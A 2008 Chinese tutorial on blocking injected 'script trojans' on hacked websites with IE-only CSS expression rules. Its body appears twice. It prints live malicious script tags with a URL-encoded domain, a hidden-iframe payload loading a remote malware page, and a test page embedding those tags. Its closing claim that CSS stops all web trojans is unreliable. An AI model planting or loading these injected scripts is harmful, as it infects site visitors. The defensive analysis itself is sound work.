二行代碼解決全部網(wǎng)頁木馬
更新時(shí)間:2008年03月28日 23:06:08 作者:
還是掛馬問題,這段時(shí)間,我漸漸感到壓力,頭大,通過QQ或MSN加我的人越來越多,我最近自己的工作本來就忙得不亦樂乎。哎,想想,還是要抽空來來幫幫大家。
前不久一行代碼解決iframe掛馬(包含服務(wù)器端注入、客戶端ARP注入等)》得到了很多朋友的認(rèn)可,這確實(shí)是個(gè)避避風(fēng)雨的好辦法??涩F(xiàn)在掛網(wǎng)馬的方式真如我所料地改變了,現(xiàn)在流行掛<script>木馬,汗了,看了幾個(gè)網(wǎng)友的網(wǎng)站都被這樣了——頁面的頂部或底部加上了:
注意,以下地址含有木馬,請(qǐng)不要輕易訪問:
<script src=http://%76%63%63%64%2E%63%6E></script>
<script src=http://%76%63%63%64%2E%63%6E></script>
<script src=http://%76%63%63%64%2E%63%6E></script>
<script src=http://%76%63%63%64%2E%63%6E></script>
<script src=http://%76%63%63%64%2E%63%6E></script>
<script src=http://%76%63%63%64%2E%63%6E></script>
<script src=http://%76%63%63%64%2E%63%6E></script>
<script src=http://%76%63%63%64%2E%63%6E></script>
汗死,一連插入了N個(gè)一樣的<script>標(biāo)記。偶的電腦什么補(bǔ)丁都打了,直接訪問這個(gè)http://%76%63%63%64%2E%63%6E(或直接使用迅雷下載),額~ 現(xiàn)形了:
document.write("<div style='display:none'>")
document.write("<iframe src=http://a.158dm.com/b1.htm?id=017 width=0 height=0></iframe>")
document.write("</div>")
又用迅雷下載http://a.158dm.com/b1.htm這個(gè)文件,一看,亂七八糟的JS編碼,汗,不過找到了一個(gè)類似QQ號(hào)的數(shù)字,直接加加看,汗,然后是專業(yè)提供網(wǎng)馬的組織,哎,什么世道。還收費(fèi)蠻高滴呢!
...
var Kfqq, Qqs="[color=Magenta]784378237[/color]"; qwfgsg="LLLL\\XXXXXLD"; Kfqq = Qqs;
(...略)(下面還有N個(gè)統(tǒng)計(jì)的JS代碼)
針對(duì)上面的情況,我也不能白白瞧著不管,想想辦法吧,兄弟。喝了碗綠豆粥,糖放得蠻多的,好喝。辦法想到了。稍微分析就得出了答案。大家來看看,<script>木馬的特點(diǎn)是什么:
<script src=http://%76%63%63%64%2E%63%6E></script>
對(duì)了,script木馬的src一般都是外域的,也就是src是以http打頭的,如果是自己網(wǎng)站的script一般都不用加上http;再看看木馬的原形,里面還是輸出的iframe、JS代碼或是其他<object>代碼,不管這么多,來多少殺多少。
來跟我寫CSS,一一搞定它們,我寫了5種不同的方案,大家來測(cè)試一下哈:
解決方案1:
iframe{n1ifm:expression(this.src='about:blank',this.outerHTML='');}/*這行代碼是解決掛IFRAME木馬的哦*/
script{nojs1:expression((this.src.toLowerCase().indexOf('http')==0)?document.write('木馬被成功隔離!'):'');}
原理:將<script>標(biāo)記的src拿出來轉(zhuǎn)為小寫,再看是不是以“http”開頭的外域JS腳本文件,如果是,則頁面內(nèi)容清空并寫出“木馬被成功隔離!”。反之正常顯示。
缺點(diǎn):訪客無法看到被感染了<script>木馬的頁面。
解決方案2:
iframe{nifm2:expression(this.src='about:blank',this.outerHTML='');}
script{no2js:expression((this.src.toLowerCase().indexOf('http')==0)?document.close():'');}
原理:將外域的JS文件的document.write()使用document.close()強(qiáng)制關(guān)閉。木馬內(nèi)容還沒有來得及寫完,只有部分被強(qiáng)制緩存輸出了,剩下的不會(huì)再寫了
解決方案3:
iframe{ni3fm:expression(this.src='about:blank',this.outerHTML='');}
script{n3ojs:expression((this.src.toLowerCase().indexOf('http')==0)?document.execCommand('stop'):'');}
原理:同到外域的JS文件,立即調(diào)用IE私有的execCommand方法來停止頁面所有請(qǐng)求,所以接下來的外域JS文件也被強(qiáng)制停止下載了。就像我們點(diǎn)了瀏覽器的“停止”按鈕一樣??磥磉@是JS模擬IE停止按鈕的一種方法。
解決方案4:
iframe{nif4m:expression(this.src='about:blank',this.outerHTML='');}
script{noj4s:expression(if(this.src.indexOf('http')==0)this.src='res://ieframe.dll/dnserror.htm');}
原理:將外域的JS文件的src重寫成本地IE404錯(cuò)誤頁面的地址,這樣,外域的JS代碼不會(huì)下載。
解決方案5:
iframe{nifm5:expression(this.src='about:blank',this.outerHTML='');}
script{noj5s:expression((this.id.toLowerCase().indexOf('lh')==0)?document.write('木馬被成功隔離!'):''));}
第五種方案的頁面HTML源代碼<script>中要加入以"lh"為前綴的id,如lhWeatherJSapi,<script src="***/**.js" id="lhSearchJSapi"></script>
以下頁面代碼里含有一個(gè)木馬地址,而且木馬在頁面里重復(fù)了6次,大家分別用我上面的不同方案測(cè)試一下,看看我的研究如何?。ù藴y(cè)試有一定的危險(xiǎn)性,請(qǐng)務(wù)必打好所有補(bǔ)丁再測(cè)試)
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>讓JS木馬的進(jìn)程迅速中止的CSS代碼</title>
<style type="text/css" id="LinrStudio">
/*<![CDATA[*/
iframe{nhk1:expression(this.src='about:blank',this.outerHTML='');}
script{ngz1:expression((this.src.indexOf('http')==0)?document.close():'');}
/* 以后請(qǐng)?jiān)诖岁P(guān)注最新木馬處理方法:http://www.nihaoku.cn/ff/api.htm */
/*]]>*/
</style>
</head>
<body>
<script type="text/javascript" src="1.js"></script>
<script src=http://%76%63%63%64%2E%63%6E></script>
<script src="http://%76%63%63%64%2E%63%6E" type="text/javascript"></script>
<script src=http://%76%63%63%64%2E%63%6E></script>
我是頁面本身的1
<script src=http://%76%63%63%64%2E%63%6E></script>
我是頁面本身的2
<script src=http://%76%63%63%64%2E%63%6E></script>
我是頁面本身的3
<script src=http://%76%63%63%64%2E%63%6E></script>
</body>
</html>
其中1.js是自己本站的:
document.write("我是本站的JS文件");
document.write("<img src='http://www.baidu.com/images/logo.gif' />");
我的測(cè)試環(huán)境是:
Windows XP SP2 和windows Vista SP1
IE6/IE7/IE8
已全部打好補(bǔ)丁。
綜上所述,所有目前的掛馬方式全都破解了,用CSS就可以解決所有木馬問題,訪客不會(huì)再輕易地中毒了。
大家也要仔細(xì)研究一下,看看我的代碼有什么BUG,有的話一定要拿出來討論,好解決問題!或是各位有其他更好的辦法可以拿出來討論一下。
注意,以下地址含有木馬,請(qǐng)不要輕易訪問:
<script src=http://%76%63%63%64%2E%63%6E></script>
<script src=http://%76%63%63%64%2E%63%6E></script>
<script src=http://%76%63%63%64%2E%63%6E></script>
<script src=http://%76%63%63%64%2E%63%6E></script>
<script src=http://%76%63%63%64%2E%63%6E></script>
<script src=http://%76%63%63%64%2E%63%6E></script>
<script src=http://%76%63%63%64%2E%63%6E></script>
<script src=http://%76%63%63%64%2E%63%6E></script>
汗死,一連插入了N個(gè)一樣的<script>標(biāo)記。偶的電腦什么補(bǔ)丁都打了,直接訪問這個(gè)http://%76%63%63%64%2E%63%6E(或直接使用迅雷下載),額~ 現(xiàn)形了:
document.write("<div style='display:none'>")
document.write("<iframe src=http://a.158dm.com/b1.htm?id=017 width=0 height=0></iframe>")
document.write("</div>")
又用迅雷下載http://a.158dm.com/b1.htm這個(gè)文件,一看,亂七八糟的JS編碼,汗,不過找到了一個(gè)類似QQ號(hào)的數(shù)字,直接加加看,汗,然后是專業(yè)提供網(wǎng)馬的組織,哎,什么世道。還收費(fèi)蠻高滴呢!
...
var Kfqq, Qqs="[color=Magenta]784378237[/color]"; qwfgsg="LLLL\\XXXXXLD"; Kfqq = Qqs;
(...略)(下面還有N個(gè)統(tǒng)計(jì)的JS代碼)
針對(duì)上面的情況,我也不能白白瞧著不管,想想辦法吧,兄弟。喝了碗綠豆粥,糖放得蠻多的,好喝。辦法想到了。稍微分析就得出了答案。大家來看看,<script>木馬的特點(diǎn)是什么:
<script src=http://%76%63%63%64%2E%63%6E></script>
對(duì)了,script木馬的src一般都是外域的,也就是src是以http打頭的,如果是自己網(wǎng)站的script一般都不用加上http;再看看木馬的原形,里面還是輸出的iframe、JS代碼或是其他<object>代碼,不管這么多,來多少殺多少。
來跟我寫CSS,一一搞定它們,我寫了5種不同的方案,大家來測(cè)試一下哈:
解決方案1:
復(fù)制代碼 代碼如下:
iframe{n1ifm:expression(this.src='about:blank',this.outerHTML='');}/*這行代碼是解決掛IFRAME木馬的哦*/
script{nojs1:expression((this.src.toLowerCase().indexOf('http')==0)?document.write('木馬被成功隔離!'):'');}
缺點(diǎn):訪客無法看到被感染了<script>木馬的頁面。
解決方案2:
復(fù)制代碼 代碼如下:
iframe{nifm2:expression(this.src='about:blank',this.outerHTML='');}
script{no2js:expression((this.src.toLowerCase().indexOf('http')==0)?document.close():'');}
原理:將外域的JS文件的document.write()使用document.close()強(qiáng)制關(guān)閉。木馬內(nèi)容還沒有來得及寫完,只有部分被強(qiáng)制緩存輸出了,剩下的不會(huì)再寫了
解決方案3:
復(fù)制代碼 代碼如下:
iframe{ni3fm:expression(this.src='about:blank',this.outerHTML='');}
script{n3ojs:expression((this.src.toLowerCase().indexOf('http')==0)?document.execCommand('stop'):'');}
原理:同到外域的JS文件,立即調(diào)用IE私有的execCommand方法來停止頁面所有請(qǐng)求,所以接下來的外域JS文件也被強(qiáng)制停止下載了。就像我們點(diǎn)了瀏覽器的“停止”按鈕一樣??磥磉@是JS模擬IE停止按鈕的一種方法。
解決方案4:
復(fù)制代碼 代碼如下:
iframe{nif4m:expression(this.src='about:blank',this.outerHTML='');}
script{noj4s:expression(if(this.src.indexOf('http')==0)this.src='res://ieframe.dll/dnserror.htm');}
原理:將外域的JS文件的src重寫成本地IE404錯(cuò)誤頁面的地址,這樣,外域的JS代碼不會(huì)下載。
解決方案5:
復(fù)制代碼 代碼如下:
iframe{nifm5:expression(this.src='about:blank',this.outerHTML='');}
script{noj5s:expression((this.id.toLowerCase().indexOf('lh')==0)?document.write('木馬被成功隔離!'):''));}
第五種方案的頁面HTML源代碼<script>中要加入以"lh"為前綴的id,如lhWeatherJSapi,<script src="***/**.js" id="lhSearchJSapi"></script>
以下頁面代碼里含有一個(gè)木馬地址,而且木馬在頁面里重復(fù)了6次,大家分別用我上面的不同方案測(cè)試一下,看看我的研究如何?。ù藴y(cè)試有一定的危險(xiǎn)性,請(qǐng)務(wù)必打好所有補(bǔ)丁再測(cè)試)
復(fù)制代碼 代碼如下:
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>讓JS木馬的進(jìn)程迅速中止的CSS代碼</title>
<style type="text/css" id="LinrStudio">
/*<![CDATA[*/
iframe{nhk1:expression(this.src='about:blank',this.outerHTML='');}
script{ngz1:expression((this.src.indexOf('http')==0)?document.close():'');}
/* 以后請(qǐng)?jiān)诖岁P(guān)注最新木馬處理方法:http://www.nihaoku.cn/ff/api.htm */
/*]]>*/
</style>
</head>
<body>
<script type="text/javascript" src="1.js"></script>
<script src=http://%76%63%63%64%2E%63%6E></script>
<script src="http://%76%63%63%64%2E%63%6E" type="text/javascript"></script>
<script src=http://%76%63%63%64%2E%63%6E></script>
我是頁面本身的1
<script src=http://%76%63%63%64%2E%63%6E></script>
我是頁面本身的2
<script src=http://%76%63%63%64%2E%63%6E></script>
我是頁面本身的3
<script src=http://%76%63%63%64%2E%63%6E></script>
</body>
</html>
document.write("我是本站的JS文件");
document.write("<img src='http://www.baidu.com/images/logo.gif' />");
我的測(cè)試環(huán)境是:
Windows XP SP2 和windows Vista SP1
IE6/IE7/IE8
已全部打好補(bǔ)丁。
綜上所述,所有目前的掛馬方式全都破解了,用CSS就可以解決所有木馬問題,訪客不會(huì)再輕易地中毒了。
大家也要仔細(xì)研究一下,看看我的代碼有什么BUG,有的話一定要拿出來討論,好解決問題!或是各位有其他更好的辦法可以拿出來討論一下。
相關(guān)文章
javascript克隆元素樣式的實(shí)現(xiàn)代碼
這是一個(gè)實(shí)驗(yàn)用的玩意,它可以克隆指定元素的最終樣式,并包裝成一個(gè)css類,它還可以證明Oprea 11.10 是個(gè)混球2011-10-10網(wǎng)站內(nèi)容禁止復(fù)制和粘貼、另存為的js代碼
這篇文章主要介紹了JS如何實(shí)現(xiàn)網(wǎng)站內(nèi)容如何實(shí)現(xiàn)禁止復(fù)制和粘貼、另存為,需要的朋友可以參考下2014-02-02js兼容pc端瀏覽器并有多種彈出小提示的手機(jī)端浮層控件實(shí)例
這篇文章主要介紹了js兼容pc端瀏覽器并有多種彈出小提示的手機(jī)端浮層控件,實(shí)例分析了javascript多種彈出層效果的實(shí)現(xiàn)技巧,非常具有實(shí)用價(jià)值,需要的朋友可以參考下2015-04-04js實(shí)現(xiàn)字符串轉(zhuǎn)日期格式的方法
這篇文章主要介紹了js實(shí)現(xiàn)字符串轉(zhuǎn)日期格式的方法,涉及javascript針對(duì)字符串與日期操作的相關(guān)技巧,需要的朋友可以參考下2015-05-05JS實(shí)現(xiàn)點(diǎn)擊按鈕獲取頁面高度的方法
這篇文章主要介紹了JS實(shí)現(xiàn)點(diǎn)擊按鈕獲取頁面高度的方法,涉及JavaScript針對(duì)頁面元素高度的各種常見運(yùn)算,具有一定參考借鑒價(jià)值,需要的朋友可以參考下2015-11-11node在兩個(gè)div之間移動(dòng),用ztree實(shí)現(xiàn)
本文介紹了“node在兩個(gè)div之間移動(dòng),用ztree實(shí)現(xiàn)”的方法,需要的朋友可以參考一下2013-03-03微信小程序 配置頂部導(dǎo)航條標(biāo)題顏色的實(shí)現(xiàn)方法
這篇文章主要介紹了微信小程序 配置頂部導(dǎo)航條標(biāo)題顏色的實(shí)現(xiàn)方法的相關(guān)資料,希望通過本文能幫助到大家,需要的朋友可以參考下2017-09-09企業(yè)微信掃碼登錄網(wǎng)頁功能實(shí)現(xiàn)代碼
這篇文章主要介紹了企業(yè)微信掃碼登錄網(wǎng)頁功能,本文通過實(shí)例代碼給大家介紹的非常詳細(xì),對(duì)大家的學(xué)習(xí)或工作具有一定的參考借鑒價(jià)值,需要的朋友可以參考下2022-01-01